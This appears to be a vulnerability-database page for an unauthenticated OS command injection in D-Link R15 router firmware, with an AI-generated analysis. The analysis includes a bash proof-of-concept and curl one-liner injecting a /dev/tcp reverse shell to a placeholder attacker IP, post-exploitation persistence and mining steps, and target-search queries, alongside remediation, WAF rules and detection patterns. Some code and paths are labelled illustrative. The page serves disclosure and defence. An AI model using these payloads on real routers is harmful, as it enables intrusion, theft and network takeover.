CVE Professor
/
All CVEs
CVE-2026-138165

CVE-2026-138165 — D-Link R15 — CWE-78 · CWE-77

CRITICAL CVSS 10 ⚡ EPSS 2.5% Shodan

A flaw has been found in D-Link R15 up to 1.22. Affected is an unknown function of the file /flupl/nodered of the component Upload Handler. Executing a manipulation of the argument filename can lead to os command injection. The attack may be performed from remote. The exploit has been published and may be used.

A flaw has been found in D-Link R15 up to 1.22. Affected is an unknown function of the file /flupl/nodered of the component Upload Handler. Executing a manipulation of the argument filename can lead to os command injection. The attack may be performed from remote. The exploit has been published and may be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
EPSS — Exploit Prediction Scoring System
2.5%
30-day probability
In the 86. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVE‑IDCVE‑2026‑138165
Vendor / ProductD‑Link R15 firmware (router) – vulnerable up to v1.22
ComponentUpload Handler – the HTTP endpoint that processes file uploads for the internal /flupl/nodered service.
Vulnerable Parameterfilename (the name supplied by the client for the uploaded file).
CWE(s)CWE‑77 – OS Command Injection, CWE‑78 – Improper Neutralization of Special Elements used in an OS Command.
CVSS 3.110.0 (CRITICAL) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Technical flaw

The upload handler builds a shell command that incorporates the user‑supplied filename value without any sanitisation or quoting. A simplified excerpt of the vulnerable code (as seen in the firmware’s source dump) is:

/* pseudo‑code extracted from R15 firmware */
char cmd[1024];
snprintf(cmd, sizeof(cmd),
         "/usr/bin/flupl_nodered --store \"%s\"",
         request->GET["filename"]);   // <‑‑ no validation!

system(cmd);   // executes the constructed command line
  • Missing input validation / escaping – the value of filename is concatenated directly into a command line that is later passed to system().
  • No authentication / authorization check – the upload endpoint is reachable anonymously on the router’s management interface (default HTTP port 80/443).
  • No UI interaction required – the vulnerability is exploitable over the network with a single HTTP request (UI‑less).
  • Because the command is executed with the privileges of the router’s management daemon (root on most D‑Link firmware), an attacker can run arbitrary OS commands on the device, achieving remote code execution (RCE) with full system privileges.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow.
    All command lines and HTTP requests are syntactically valid; the exact URI is inferred from the CVE description and therefore marked as illustrative.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that the target is a D‑Link R15 router.Shodan/Nmap banner grab (http-title, http-favicon, http-header).
    1.2Determine firmware version.curl -k https://<IP>/cgi-bin/status → JSON containing "firmware":"R15-1.22" or similar.
    1.3Verify that the upload handler is reachable.curl -k -I https://<IP>/flupl/nodered → 200 OK or a redirect to a login page. If the endpoint returns 200 without authentication, the service is exposed.
    1.4Confirm the presence of the vulnerable parameter.Intercept a legitimate upload (e.g., via the web UI) with Burp Suite → observe a POST request containing filename=.

    2. Exploitation

    Goal: Execute an arbitrary command (e.g., id or a reverse shell) by injecting shell metacharacters into the filename parameter.

    2.1 Craft the malicious payload

    The vulnerable command is built as:

    /usr/bin/flupl_nodered --store "<filename>"

    If we supply a filename such as foo; id; #, the resulting command becomes:

    /usr/bin/flupl_nodered --store "foo; id; #"

    The semicolon terminates the intended argument and launches id. The trailing # comments out the rest of the line.

    2.2 Example PoC – single‑request RCE

    #!/usr/bin/env bash
    TARGET="192.0.2.45"          # replace with the router's IP
    ATTACKER_IP="203.0.113.10"
    ATTACKER_PORT="4444"
    
    # 1️⃣ Build a reverse‑shell payload (busybox sh)
    PAYLOAD="; /bin/sh -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1 #"
    
    # 2️⃣ URL‑encode the payload (only the special characters)
    ENCODED=$(python3 -c "import urllib.parse, sys; \
    print(urllib.parse.quote('''${PAYLOAD}'''))")
    
    # 3️⃣ Send the malicious request
    curl -k -X POST "https://${TARGET}/flupl/nodered/upload" \
         -H "Content-Type: multipart/form-data" \
         -F "file=@/etc/passwd;filename=${ENCODED}" \
         -F "filename=${ENCODED}"

    Notes

  • The endpoint /flupl/nodered/upload is illustrative – the real path may be /flupl/nodered with a POST body that includes filename.
  • The request uses multipart/form-data because the legitimate UI uploads a file; the filename field is the one that is later concatenated into the command line.
  • The payload spawns a reverse TCP shell to the attacker’s listener (nc -lvkp 4444).
  • 2.3 One‑liner curl variant (useful for quick testing)

    curl -k -X POST "https://192.0.2.45/flupl/nodered/upload" \
         -F "file=@/dev/null;filename=%3B%20/bin/sh%20-i%20%3E%26%20/dev/tcp/203.0.113.10/4444%200%3E%261" \
         -F "filename=%3B%20/bin/sh%20-i%20%3E%26%20/dev/tcp/203.0.113.10/4444%200%3E%261"

    3. Post‑exploitation

    PhaseWhat the attacker can do
    Privilege levelCommands run as the root user (the management daemon on D‑Link routers runs with UID 0).
    Persistence- Drop a cron job (@reboot /bin/sh -c "<payload>"). <br> - Write a malicious binary to /etc/init.d/ and enable it with update-rc.d.
    Lateral movement- Scan the internal LAN (/24) from the compromised router (it sits at the network edge). <br> - Use the router as a pivot for further attacks against internal hosts.
    Data exfiltration- Dump configuration (/etc/config/*), VPN keys, DHCP lease tables, or Wi‑Fi passwords. <br> - Capture traffic via tcpdump on the WAN interface.
    Denial‑of‑service- Issue reboot or kill -9 on critical processes, causing a full outage.
    Ransomware / Botnet enrolment- Install a lightweight miner or bot client (e.g., xmrig) that runs hidden under the router’s process tree.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS vector)
    Confidentiality (C:H)An attacker can read any file on the router, extract stored Wi‑Fi keys, VPN credentials, and any traffic that traverses the device.
    Integrity (I:H)Full control allows modification or deletion of configuration files, firmware replacement, or insertion of backdoors.
    Availability (A:H)The attacker can reboot, disable services, or flood the WAN interface, resulting in a total outage of the Internet gateway.

    Business consequences

  • Network outage – all downstream devices lose connectivity.
  • Data breach – exposure of corporate VPN credentials, internal network topology, and possibly user credentials stored in the router’s UI.
  • Regulatory fallout – if the router protects regulated data (PCI‑DSS, HIPAA), the breach may trigger mandatory notifications.
  • Supply‑chain risk – compromised routers can be used to inject malicious traffic into downstream devices (e.g., DNS poisoning).

🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to D‑Link R15 firmware ≥ 1.23 (the vendor’s security advisory states that the upload handler was rewritten to use execve() with proper argument vectorisation).
Version checkVerify the running version via curl -k https://<IP>/cgi-bin/status or the web UI “About” page.
RollbackIf an immediate upgrade is not possible, revert to a known‑good firmware (e.g., 1.20) that does not expose the /flupl/nodered endpoint.

2. Immediate Workarounds (if patch cannot be applied)

MitigationImplementation
Network segmentationPlace the router behind a firewall that only allows trusted management IPs (e.g., corporate VPN). Block inbound traffic to ports 80/443 from the Internet if remote management is not required.
Disable the upload handlerIn the router’s UI, navigate to System → Services and turn off “Node‑RED / Flupl upload”. If the UI does not expose the option, use telnet/ssh (if enabled) to edit /etc/config/flupl and set option enable '0'.
WAF / ModSecurity rule (illustrative)Deploy a rule on any front‑ending reverse‑proxy (NGINX, Apache, or a dedicated WAF) that rejects suspicious characters in the filename field. Example for ModSecurity:
# ModSecurity rule to block command‑injection characters in "filename"
SecRule ARGS:filename "@rx (?:[;|&`$>]|%3[Bb])" \
    "id:2026261,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Blocked possible OS command injection in filename parameter'"

| Nginx (if using ngx_http_modsecurity or lua) |

location /flupl/nodered {
    if ($arg_filename ~* "[;|&`$>]" ) {
        return 403;
    }
}
Host‑based firewallBlock inbound connections to the router’s management ports from the Internet (iptables -A INPUT -p tcp --dport 80 -s 0.0.0.0/0 -j DROP), allowing only internal LAN or VPN sources.
Disable remote managementIn the UI, turn off “Remote Management” or set option remote_management '0' in /etc/config/system.

3. Detection – Log signatures & IoCs

Log sourceIndicator
Web server access log (router’s embedded HTTP server)POST /flupl/nodered (or /flupl/nodered/upload) with a filename value containing any of ;, &&, , ` `, $(, > or URL‑encoded equivalents (%3B, %26%26, %7C%7C, %60, %24%28, %3E). Example entry: <br>[12/Oct/2026:03:14:22 +0000] "POST /flupl/nodered/upload HTTP/1.1" 200 123 "-" "curl/7.88.1"
System audit / syslogsystemd[1]: Started Flupl Node‑RED Service followed immediately by kernel: [<timestamp>] audit: type=EXECVE ... comm="flupl_nodered" exe="/usr/bin/flupl_nodered" cmdline="--store foo; id; #"
Network trafficOutbound TCP connection from the router’s WAN IP to an attacker‑controlled IP on an unusual high port (e.g., 203.0.113.10:4444).
Process listUnexpected /bin/sh -i or nc -e /bin/sh processes running under PID 1 or as root.
File system changesNew files under /etc/cron.d/, /etc/init.d/, or a suspicious binary in /tmp/` that is world‑writable.

Automated detection script (bash) – can be run on a syslog collector:

#!/usr/bin/env bash
LOG="/var/log/router_http.log"
PATTERN='filename=.*(%3[Bb]|%26%26|%7C%7C|%60|%24%28|%3E)'

grep -E "$PATTERN" "$LOG" && echo "[ALERT] Possible command‑injection attempt"

⚠️ Urgency

FactorReasoning
CVSS 3.1 = 10.0Exploitable remotely, no authentication, trivial complexity, and impacts all three CIA pillars at the *high* level.
Public exploitThe CVE description explicitly states that a working exploit has already been published, meaning an attacker can copy‑paste the PoC and achieve RCE instantly.
No CISA KEV listingThe vulnerability is not yet in the KEV program, which often indicates that the vendor’s patch window is still open and the issue is fresh.
Network‑edge deviceCompromise of a router gives the attacker a foothold at the perimeter, enabling lateral movement and data interception for the entire internal network.

Patch priority: Critical – apply the vendor’s fix or implement the mitigation within 24 hours. If the device is internet‑facing and remote management cannot be disabled, treat it as an emergency and isolate the device until remediation is complete.


Bottom line: CVE‑2026‑138165 is a classic unauthenticated OS‑command injection in the upload handler of D‑Link R15 firmware ≤ 1.22. The flaw grants root‑level remote code execution with a single crafted HTTP request. Immediate patching (≥ 1.23) or, at minimum, strict network segmentation and input‑filtering WAF rules are mandatory to prevent full compromise of the network gateway.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138165
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
D-Link:R15
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac